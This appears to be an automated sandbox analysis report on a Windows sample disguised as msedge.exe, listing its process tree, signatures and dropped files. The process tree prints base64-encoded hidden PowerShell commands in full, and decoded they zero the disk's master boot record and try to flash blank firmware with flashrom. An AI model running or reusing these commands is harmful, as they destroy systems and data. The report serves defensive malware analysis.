Analysis

  • user interaction
    yes
  • max time kernel
    72s
  • max time network
    74s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    03/08/2026, 08:51

Errors

Reason
Machine shutdown

General

  • Target
    msedge.exe
  • Size 41KB
  • Sample260803-ksazmseq4x
  • SHA256 c92181f1511afc52f73eb2653789addca570e338956c5b1d2d4d91ffc9da53d3
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Modifies data under HKEY_USERS 15 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\msedge.exe
    "C:\Users\Admin\AppData\Local\Temp\msedge.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5428
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnADIAMgAyACcALAAgACcATgBvAHQAaQBjAGUAJwAsACAAMAAsACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoAVwBhAHIAbgBpAG4AZwApAA==
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5804
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -WindowStyle Hidden -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnADIAMgAyACcALAAgACcATgBvAHQAaQBjAGUAJwAsACAAMAAsACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AEkAYwBvAG4AXQA6ADoAVwBhAHIAbgBpAG4AZwApAA==
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABpAG0AZwBQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXABkAHUAbQBtAHkALgBiAGkAbgAnADsAJABuAHUAbABsAEIAeQB0AGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAoADEANgAgACoAIAAxADAAMgA0ACAAKgAgADEAMAAyADQAKQA7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGkAbQBnAFAAYQB0AGgALAAgACQAbgB1AGwAbABCAHkAdABlAHMAKQA7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAnAFsAKgBdACAAIQQ+BDcENAQwBD0EIAA9BEMEOwQ1BDIEPgQ5BCAAPgQxBEAEMAQ3BC4AIAAfBD4EPwRLBEIEOgQwBCAAPwQ1BEAENQQ3BDAEPwQ4BEEEOAQgAD8EQAQ+BEgEOAQyBDoEOAQuAC4ALgAnADsAaQBmACAAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIABmAGwAYQBzAGgAcgBvAG0AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIAAgACAAIABmAGwAYQBzAGgAcgBvAG0AIAAtAHAAIABpAG4AdABlAHIAbgBhAGwAIAAtAHcAIAAkAGkAbQBnAFAAYQB0AGgAfQAgAGUAbABzAGUAIAB7ACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwAtAF0AIAAeBEgEOAQxBDoEMAQ6ACAARgBsAGEAcwBoAHIAbwBtACAAPQQ1BCAAPQQwBDkENAQ1BD0EIAAyBCAAQQQ4BEEEQgQ1BDwENQQuACAAHwRABE8EPAQ+BDkEIAA0BD4EQQRCBEMEPwQgADoEIABTAFAASQAgADcEMAQxBDsEPgQ6BDgEQAQ+BDIEMAQ9BCAARwQ4BD8EQQQ1BEIEPgQ8BC4AJwB9AA==
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:204
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABpAG0AZwBQAGEAdABoACAAPQAgACQAZQBuAHYAOgBUAEUATQBQACAAKwAgACcAXABkAHUAbQBtAHkALgBiAGkAbgAnADsAJABuAHUAbABsAEIAeQB0AGUAcwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAYgB5AHQAZQBbAF0AIAAoADEANgAgACoAIAAxADAAMgA0ACAAKgAgADEAMAAyADQAKQA7AFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAF0AOgA6AFcAcgBpAHQAZQBBAGwAbABCAHkAdABlAHMAKAAkAGkAbQBnAFAAYQB0AGgALAAgACQAbgB1AGwAbABCAHkAdABlAHMAKQA7AFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAnAFsAKgBdACAAIQQ+BDcENAQwBD0EIAA9BEMEOwQ1BDIEPgQ5BCAAPgQxBEAEMAQ3BC4AIAAfBD4EPwRLBEIEOgQwBCAAPwQ1BEAENQQ3BDAEPwQ4BEEEOAQgAD8EQAQ+BEgEOAQyBDoEOAQuAC4ALgAnADsAaQBmACAAKABHAGUAdAAtAEMAbwBtAG0AYQBuAGQAIABmAGwAYQBzAGgAcgBvAG0AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAKQAgAHsAIAAgACAAIABmAGwAYQBzAGgAcgBvAG0AIAAtAHAAIABpAG4AdABlAHIAbgBhAGwAIAAtAHcAIAAkAGkAbQBnAFAAYQB0AGgAfQAgAGUAbABzAGUAIAB7ACAAIAAgACAAVwByAGkAdABlAC0ASABvAHMAdAAgACcAWwAtAF0AIAAeBEgEOAQxBDoEMAQ6ACAARgBsAGEAcwBoAHIAbwBtACAAPQQ1BCAAPQQwBDkENAQ1BD0EIAAyBCAAQQQ4BEEEQgQ1BDwENQQuACAAHwRABE8EPAQ+BDkEIAA0BD4EQQRCBEMEPwQgADoEIABTAFAASQAgADcEMAQxBDsEPgQ6BDgEQAQ+BDIEMAQ9BCAARwQ4BD8EQQQ1BEIEPgQ8BC4AJwB9AA==
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2380
    • C:\Windows\SYSTEM32\cmd.exe
      cmd.exe /c powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABkAGkAcwBrACAAPQAgAFsATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIALgBTAGEAZgBlAEYAaQBsAGUASABhAG4AZABsAGUAXQA6ADoAWgBlAHIAbwA7ACQAaABhAG4AZABsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAFMAYQBmAGUASABhAG4AZABsAGUAXQA7ACQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBPAHAAZQBuACgAJwBcAFwALgBcAFAAaAB5AHMAaQBjAGEAbABEAHIAaQB2AGUAMAAnACwAIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBNAG8AZABlAF0AOgA6AE8AcABlAG4ALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAEEAYwBjAGUAcwBzAF0AOgA6AFcAcgBpAHQAZQApADsAJAB6AGUAcgBvAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANQAxADIAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHoAZQByAG8AcwAsACAAMAAsACAANQAxADIAKQA7ACQAcwAuAEMAbABvAHMAZQAoACkAOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBbACsAXQAgAE0AQgBSACAAQwRBBD8ENQRIBD0EPgQgADcEMARCBDUEQARCBCAAPQRDBDsETwQ8BDgEIQAnAA==
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5832
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -NoProfile -WindowStyle Hidden -EncodedCommand JABkAGkAcwBrACAAPQAgAFsATQBpAGMAcgBvAHMAbwBmAHQALgBXAGkAbgAzADIALgBTAGEAZgBlAEYAaQBsAGUASABhAG4AZABsAGUAXQA6ADoAWgBlAHIAbwA7ACQAaABhAG4AZABsAGUAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFIAdQBuAHQAaQBtAGUALgBJAG4AdABlAHIAbwBwAFMAZQByAHYAaQBjAGUAcwAuAFMAYQBmAGUASABhAG4AZABsAGUAXQA7ACQAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBdADoAOgBPAHAAZQBuACgAJwBcAFwALgBcAFAAaAB5AHMAaQBjAGEAbABEAHIAaQB2AGUAMAAnACwAIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4ARgBpAGwAZQBNAG8AZABlAF0AOgA6AE8AcABlAG4ALAAgAFsAUwB5AHMAdABlAG0ALgBJAE8ALgBGAGkAbABlAEEAYwBjAGUAcwBzAF0AOgA6AFcAcgBpAHQAZQApADsAJAB6AGUAcgBvAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAANQAxADIAOwAkAHMALgBXAHIAaQB0AGUAKAAkAHoAZQByAG8AcwAsACAAMAAsACAANQAxADIAKQA7ACQAcwAuAEMAbABvAHMAZQAoACkAOwBXAHIAaQB0AGUALQBIAG8AcwB0ACAAJwBbACsAXQAgAE0AQgBSACAAQwRBBD8ENQRIBD0EPgQgADcEMARCBDUEQARCBCAAPQRDBDsETwQ8BDgEIQAnAA==
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Writes to the Master Boot Record (MBR)
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:6048
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x4 /state0:0xa38ad855 /state1:0x41c64e6d
    1⤵
    • Modifies data under HKEY_USERS
    • Suspicious use of SetWindowsHookEx
    PID:3564

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 3KB
        • SHA256 021636a793f57f23b16356c5b84fdf0122fdcadfaba305e4df4654bfbfa442bd
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 a01318682fcfd9620b650a481d0f6668a44cb2dc09aa98a43f4c5851562c4670
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 74fda67c64dc54464bfa5ef4795897806e0c54cde9b9632b44078dba7b83ae23
        • MD5 SHA1 SHA512 TLSH

        __PSScriptPolicyTest_0azraxje.h2a.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0azraxje.h2a.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        BlockPing.DVR-MS

        • Path C:\Users\Admin\Desktop\BlockPing.DVR-MS
        • Size 292KB
        • SHA256 547b3de5cce4a0830fcc53a868bc7bd2ced9682c9f1044fa9ae5157f8032ab7f
        • MD5 SHA1 SHA512 SSDEEP TLSH

        LimitRestore.TS

        • Path C:\Users\Admin\Desktop\LimitRestore.TS
        • Size 515KB
        • SHA256 d87776621beaa0556c99c722a85eb4e58e7c1ddb811549ed586018b4555a93ce
        • MD5 SHA1 SHA512 SSDEEP TLSH

        RevokeUnprotect.zip

        • Path C:\Users\Admin\Desktop\RevokeUnprotect.zip
        • Size 404KB
        • SHA256 1f4d11eba1fc0533ff0ec8a75307a30cb6e8f09e9772d7e1a04d1979f3d8532e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        SearchLock.vb

        • Path C:\Users\Admin\Desktop\SearchLock.vb
        • Size 738KB
        • SHA256 2ae4085a07b978efa9a79950c60845a6e7b5aa0e586702afb6a6ce18aef2d27a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Acrobat Reader DC.lnk

        • Path C:\Users\Public\Desktop\Acrobat Reader DC.lnk
        • Size 2KB
        • SHA256 3fe512496552a0d4380106f5ff6c5fcc3d04a6d483d7aae164355e2f36937708
        • MD5 SHA1 SHA512 TLSH

        Google Chrome.lnk

        • Path C:\Users\Public\Desktop\Google Chrome.lnk
        • Size 2KB
        • SHA256 a79985aad2130fd6a65f1bd02a918610785a5b328a0b0556df9d8c6ff48d9b04
        • MD5 SHA1 SHA512 TLSH

        memory/2380-14-0x000002C078330000-0x000002C078340000-memory.dmp

        memory/2380-13-0x000002C078330000-0x000002C078340000-memory.dmp

        memory/2880-1-0x000002704F4A0000-0x000002704F4B0000-memory.dmp

        memory/2880-2-0x0000027051620000-0x0000027051642000-memory.dmp

        memory/2880-0-0x000002704F4A0000-0x000002704F4B0000-memory.dmp